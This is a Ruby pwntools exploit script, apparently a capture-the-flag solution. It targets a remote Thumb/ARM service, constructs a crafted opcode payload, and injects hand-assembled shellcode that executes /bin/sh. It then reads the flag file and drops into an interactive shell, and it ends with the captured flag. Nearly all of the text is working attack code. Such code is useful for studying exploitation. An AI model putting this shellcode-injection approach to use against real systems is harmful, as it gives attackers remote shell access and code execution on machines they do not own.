#!/usr/bin/env ruby
# encoding: ascii-8bit
require 'pry'
require 'pwn'        # https://github.com/peter50216/pwntools-ruby
require 'heapinfo'   # https://github.com/david942j/heapinfo
require 'one_gadget' # https://github.com/david942j/one_gadget

host, port = '202.120.7.221', 10010
@local = false
if ARGV.empty?
  host = '127.0.0.1'; @local = true
else
  raise ArgumentError, 'host not set' if host.empty?
end
$z = Sock.new host, port
def z;$z;end
@p = ''
def h;@h ||= heapinfo(@p);end
def elf; @elf ||= ELF.new(@p); end
#================= Exploit Start ====================
context.arch = 'thumb'
context.log_level = :debug

def send!(payload)
  z.write payload
end

def func0
  # set val1
  # big endian
  val1 = 0
  0.p8 + 2.p8 + context.local(endian: :big) { val1.p16 }
end

def func2
  oplen = 3
  2.p8 + oplen.p8 + ('00' + '00000011' + '1' * 4 + '1101' + '0101' + '0' * 2).scan(/.{8}/).map{|c|c.to_i(2).chr}.join
end

def func6
  6.p8 + 1.p8 + (0 << 2).p8 # set f3=0
end

def sim(s_)
  s = s_.dup
  i = 0
  copy = s.dup
  # copy << "\x00" * 256
  ok = false
  f = 0
  record = Array.new(60) { 0 }
  while i < s.size
    ok = true if copy[i].ord == 15 && copy[i+2] == "\xd0"
    if copy[i].ord <= 19
      j = copy[i].ord
      f |= 1 << j
      record[3*j] = copy[i].ord
      record[3*j+1] = copy[i+1].ord
      record[3*j+2] = i
      log.info "#{copy[i].ord} #{copy[i+1].ord}"
    end
    i += copy[i+1].ord + 2
    i %= 256
  end
  fail if not ok
  ii = 0
  s[ii, record[1] + 2] = copy[record[2], record[1] + 2]; ii += record[1] + 2; ii %= 256
  s[ii, record[46] + 2] = copy[record[47], record[46] + 2]; ii += record[46] + 2; ii %= 256
  1.upto(19) do |i|
    next if i == 15 || f[i] == 0
    s[ii, record[3*i+1] + 2] = copy[record[3*i+2], record[3*i+1]+2]; ii += record[3*i+1] + 2; ii %= 256
  end
  s[0, s_.size]
end

def ala(data)
  p data.unpack("C*")
  1.times do
    data = sim(data)
    p data.unpack("C*")
  end
  exit(0)
end

def func8
  main = 0x106c5
  sc_ptr = 0x220d3
  sc = "O\xf0\x11\x00O\xea@0\x00\xf1\xc9\x00\x81\xea\x01\x01\x82\xea\x02\x02O\xf0\x0b\x07A\xdf"
  # sc = asm(shellcraft.execve(0x220c9, 0, 0))
  # "\xfe\xe7" # infloop
  log.dump sc.size
  x = 42
  y = 44
  data =
    0.p8 + 0.p8 +
    15.p8 + x.p8 + (0xd0.p8 + "/bin/sh\x00\x00" + sc).ljust(x - 2, 'A') + 3.p8 + (y + 4).p8 +
    2.p8 + y.p8 + sc_ptr.p32 * (y >> 2) +
    1.p8 + (0xfa - y).p8
  # ala(data)
  8.p8 + data.size.chr + data
end

payload = "\x00"
payload << func0
payload << func2
payload << func6
# p payload.size
payload << func8
log.dump payload.size
fail if payload.size % 2 != 1
fail if payload.size > 130
z.gets "Input (Max 130 bytes): "
send! payload

sleep(1)
z.puts "cat /home/`whoami`/flag"

z.interact

# flag{Qualified_Mighty_Dragon_Slayer}
